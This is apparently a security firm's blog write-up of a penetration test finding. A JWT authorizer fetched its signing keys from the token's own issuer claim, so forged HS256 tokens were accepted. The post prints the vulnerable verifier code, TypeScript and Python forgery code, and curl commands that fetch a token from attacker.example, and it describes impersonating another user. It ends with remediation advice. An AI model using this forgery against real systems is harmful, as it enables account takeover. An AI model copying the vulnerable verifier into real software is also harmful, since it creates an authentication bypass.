The Token That Verified Itself | Field Notes, Issue 2

The Token That Verified Itself | Field Notes, Issue 2

From the forge at Anvil Secure, welcome back to Field Notes. This one runs longer. It's a JWT verification bug from a cloud-native SaaS platform, and it's worth the space because the path from reading the code to forging a token to updating another user's account is the kind of walkthrough that makes the underlying pattern stick.

Field Notes: Issue 2

The Token That Verified Itself

In short: the application verified JWTs against a public key it fetched at request time, using a URL the JWT itself told it to use. If you can tell the verifier where to get the key, you can tell it which key to accept which of course means game over for an attacker as you now can forge any token you want.

The setup

The platform's API sat behind an API Gateway with an AWS Lambda authorizer in front of it. Every request to the API had to carry a JWT in the Authorization header. The authorizer's job then is of course to verify that token and then based on the claims inside said token to allow or deny the request. The tokens themselves were issued by a managed identity provider. The authorizer code, simplified, did roughly this:

const authHeader = event.headers?.['authorization'];
if (!authHeader) return deny();

const claims = await tokenClaimsFromAuthHeader(authHeader);
const { userPoolId, groups } = claims;
const tenant = await getTenantForUserPoolId(userPoolId);

if (tenant.userPoolId !== userPoolId) return deny();

logger.info('Validated Tenant', { tenant });
// ... generate allow policy ...

This is all rather standard. A token comes in, claims get extracted, the tenant is looked up by the user pool identifier and the request is allowed. All the interesting work is of course in tokenClaimsFromAuthHeader() which ultimately calls verifyToken().

export async function verifyToken(token: string): Promise<TokenClaims> {
  const { alg, kid } = jose.decodeProtectedHeader(token);
  const { sub, iss, exp, 'cognito:groups': groups, client_id } = jose.decodeJwt(token);

  if (!alg || !kid || !sub || !iss || !exp || !client_id) {
    throw new TokenValidationFailed('Missing required claim');
  }

  const jwks = await getJwks(iss);
  const jwk = jwks.keys.find(
    ({ kid: jwkKid, alg: jwkAlg }) => kid === jwkKid && alg === jwkAlg
  );
  if (!jwk) throw new TokenValidationFailed('Key not found');

  const key = await jose.importJWK(jwk, alg);
  await jose.jwtVerify(token, key);

  return { userPoolId: getUserPoolId(iss), userId: sub, ... };
}

As we can see the token is being decoded. The iss (issuer) claim is extracted from the payload and then that issuer is passed on to getJwks() which fetches the public key set that will be used to verify the token. Again, for the people in the back, the token tells the verifier where to go get the thing that will prove the token is genuine! Simply looking at the definition of getJwks() shows a straightforward implementation that has no allow-list, no scheme check and no validation whatsoever that the URL points to the identity provider the application integrated with. Any URL the token claimed the verifier would dutifully fetch.

export async function getJwks(iss: string): Promise<jose.JSONWebKeySet> {
  const jwksUrl = new URL(iss + '/.well-known/jwks.json').href;
  return axios.get(jwksUrl).then(({ data }) => data);
}

Building the forgery

Now that the shape of the bug is clear the exploit basically writes itself. We need three things; a specifically crafted JWT where the issuer claim points to a server we control, an HTTP endpoint that can serve the JSON Web Key Set that will be called by the vulnerable getJwks() function and a matching private key. Upon further examination we figured out that we could also use a symmetric key, as we control both sides obviously. To do this we used HMAC-SHA256. The token was then constructed in TypeScript as follows (simplified):

const KEY = 'AAAA';
const ALG = 'HS256';
const KID = 'K-123';

const header = { alg: ALG, kid: KID };
const payload = {
  sub: 'any-user-uuid',
  iss: 'http://attacker.example/pool-id',
  exp: Math.floor(Date.now() / 1000) + 86400,
  client_id: 'anything',
  'cognito:groups': ['admin'],
};

const data = `${encode(JSON.stringify(header))}.${encode(JSON.stringify(payload))}`;
const sig = crypto.createHmac('sha256', KEY).update(data).digest('base64');
const token = `${data}.${sig}`;

The matching JWKS server then served, from the same host as what appeared in the issuer (iss) claim as follows:

def serve_jwks():
    return {
        "keys": [{
            "alg": "HS256",
            "kid": "K-123",
            "kty": "oct",
            "k": b64(KEY),
            "ext": True,
        }]
    }

The verifier's key-selection logic only matched on kid and alg and did not care that the original issuer used RSA while we were simply handing it a JWT signed via a shared secret. The token said HS256 and the JWKS said the same and the library happily verified it anyway.

Running it

First we confirmed the baseline with an obviously invalid token to make sure the authorizer was actually being invoked:

$ curl -H "Authorization: Bearer BLABLA" https://api.example.com/graphql -d '{"query":""}'
{"message": "Forbidden"}

After seeing that the API gateway rejects garbage we ran the forgery that we had running on attacker.example:

$ TOKEN=$(curl -s http://attacker.example/get-token)
$ curl -H "Authorization: Bearer $TOKEN" https://api.example.com/graphql -d '{"query":""}'
{
  "errors": [{
    "message": "GraphQL operations must contain a non-empty `query` or a `persistedQuery` extension."
  }]
}

This resulted in a GraphQL error. At this point in the engagement we knew that we bypassed the authorizer as it let us in, the request reached the actual API and now the API is actually complaining that we sent a malformed query.

On the attacker-controlled server, we could see the handshake in the logs; our client fetched the /get-token and then a few hundred milliseconds later the production verifier came knocking at /pool-id/.well-known/jwks.json to fetch the key that would prove the token to be genuine. Which we then of course happily provide.

Demonstrating real impact

To demonstrate real impact we wanted to impersonate a specific user. The sub user claim in the token is a user UUID so the idea was to find a place in the system and leak a UUID of a different user, generate a token with that UUID in it and then authenticate as them. This was rather easy as through normal product operations (user pickers, mention suggestions, project owner selectors etc) user UUIDs were all easily seen. So we created a normal account, gathered some UUIDs from the UI and then generated tokens for each.

The ultimate proof was a specific updateUser GraphQL mutation and being authenticated as another user. We set the display name of that user to "4nv1l w4s h3re!" after which the server returned us a successful response. When refreshing the user interface we saw the posts made by the other user now rendered with its new display name. This is where we stopped as this was good enough to demonstrate the bug completely as we could now perform any action under the credentials of any user of the system, anything further would have been gratuitous.

Why it happens

This is a subtle failure of a generally good pattern. Fetching JWKS dynamically from the issuer is how federated identity is supposed to work as this means that an application can keep functioning across key rotations without needing new deployments. The infrastructure to do this is well established including the /.well-known/jwks.json convention and libraries like jose handle this all correctly.

The actual failure is what the application trusts that the token tells it. A JWT is a bearer credential which means that the entire payload is attacker-controlled unless something outside of that token proves otherwise. The iss claim, in a correctly configured verifier, is data that needs to be checked against an allow-list before proceeding. Only approved issuers should be able to be contacted. In this implementation the verifier asked the token where to find the proof and the token said "right over here".

Anytime a security-critical lookup uses attacker controlled input as the key the lookup is only as trustworthy as the space it searches. A fetch against an allow-list of known issuers is fine. The same structural bug happens in other places. For example Server-Side Request Forgery bugs often reduce to "application uses a user-supplied URL for an internal operation and does not restrict to where that URL can point". Also in that case a component that looks like it is doing the validation is actually letting the attacker choose what gets validated.

What to look for in JWT verification

When reviewing any token or signature verification code the questions that need to be asked are narrow and concrete:

Where does the key that performs the verification come from? Is that source fixed at deploy time or derived from the request itself? And if it is derived from the request, what binds the derivation? A hard coded allow-list? A regular expression? Nothing? Whatever the answer is the security researcher will write it down and then attempt to violate the assumptions.

Specifically for JWT verification: the iss claim must be checked against an allow-list before using it to fetch keys. The allow-list should contain full origins (scheme, host, port) and no substrings or suffixes to prevent issues with URL parsing differences between different coding libraries (eg your code and the fetching library). On top of that the algorithm claim should also be properly constrained as there have been many bugs in the past where an attacker could switch a token to be verified not by using the public key as a public key for RS256 (RSA) signed tokens but as an HMAC secret for HS256 based signed tokens. The library used in this case means that it obligingly validated a HS256 token against a symmetric key provided by the attacker when that was never an actual real world deployment scenario and as such any token claiming to be signed with HS256 should be immediately rejected.

In general verification is a trust-shrinking operation. Before verification the token is attacker-controlled data and only after verification do specific claims become trustworthy. But only those claims that were actually covered by what was verified and only to the extent that the verification was bound to something the attacker could not influence. A verification that consults the token to decide how to verify isn't shrinking the trust boundary but it is simply pretending to.

If any of this sounds familiar, or if you're curious what a careful look at your own authentication layer might turn up, do not hesitate to get in touch. These are the kind of questions that Anvil exists to help answer. Read more Field Notes and follow along to catch the next installment.

All details in this post have been altered to protect client confidentiality. The class of issues and technical substance is preserved; specifics are not.

Worried about JWT verification flaws in your own systems?

A careful look at your own systems might turn up more than you'd expect. We are here to help.

Tools

aqlmap - A tool to extract information from ArangoDB through AQL injection. See the introductory blogpost.


awstracer - An Anvil CLI utility that will allow you to trace and replay AWS commands.


awssig - Anvil Secure's Burp extension for signing AWS requests with SigV4.


ByteBanter - A Burp Suite extension that leverages LLMs to generate context-aware payloads for Burp Intruder. See the introductory blogpost.


dawgmon - Dawg the hallway monitor: monitor operating system changes and analyze introduced attack surface when installing software. See the introductory blogpost.


GhidraGarminApp - A Ghidra processor and loader for Garmin watch applications. See the introductory blogpost.


HANAlyzer - A tool that automates SAP HANA security checks and outputs clear HTML reports. See the introductory blogpost.


IPAAutoDec - A tool that decrypts IPA files end-to-end via SSH. See the introductory blogpost.


nanopb-decompiler - Our nanopb-decompiler is an IDA python script that can recreate .proto files from binaries compiled with 0.3.x, and 0.4.x versions of nanopb. See the introductory blogpost.


OffTempo - A Burp Suite extension for statistical timing side-channel analysis. See the introductory blogpost.


Passkey Editor - A Burp Suite extension for testing WebAuthn/FIDO2 passkey ceremonies. See the introductory blogpost.


PQCDump - A passive PCAP analyzer that shows whether SSH and TLS sessions actually used PQC algorithms. See the introductory blogpost.


PQCScan - A scanner that can determine whether SSH and TLS servers support PQC algorithms. See the introductory blogpost.


SAPCARve - A utility Python script for manipulating SAP's SAR archive files. See the introductory blogpost.


ulexecve - A tool to execute ELF binaries on Linux directly from userland. See the introductory blogpost.


usb-racer - A tool for pentesting TOCTOU issues with USB storage devices.

Recent Posts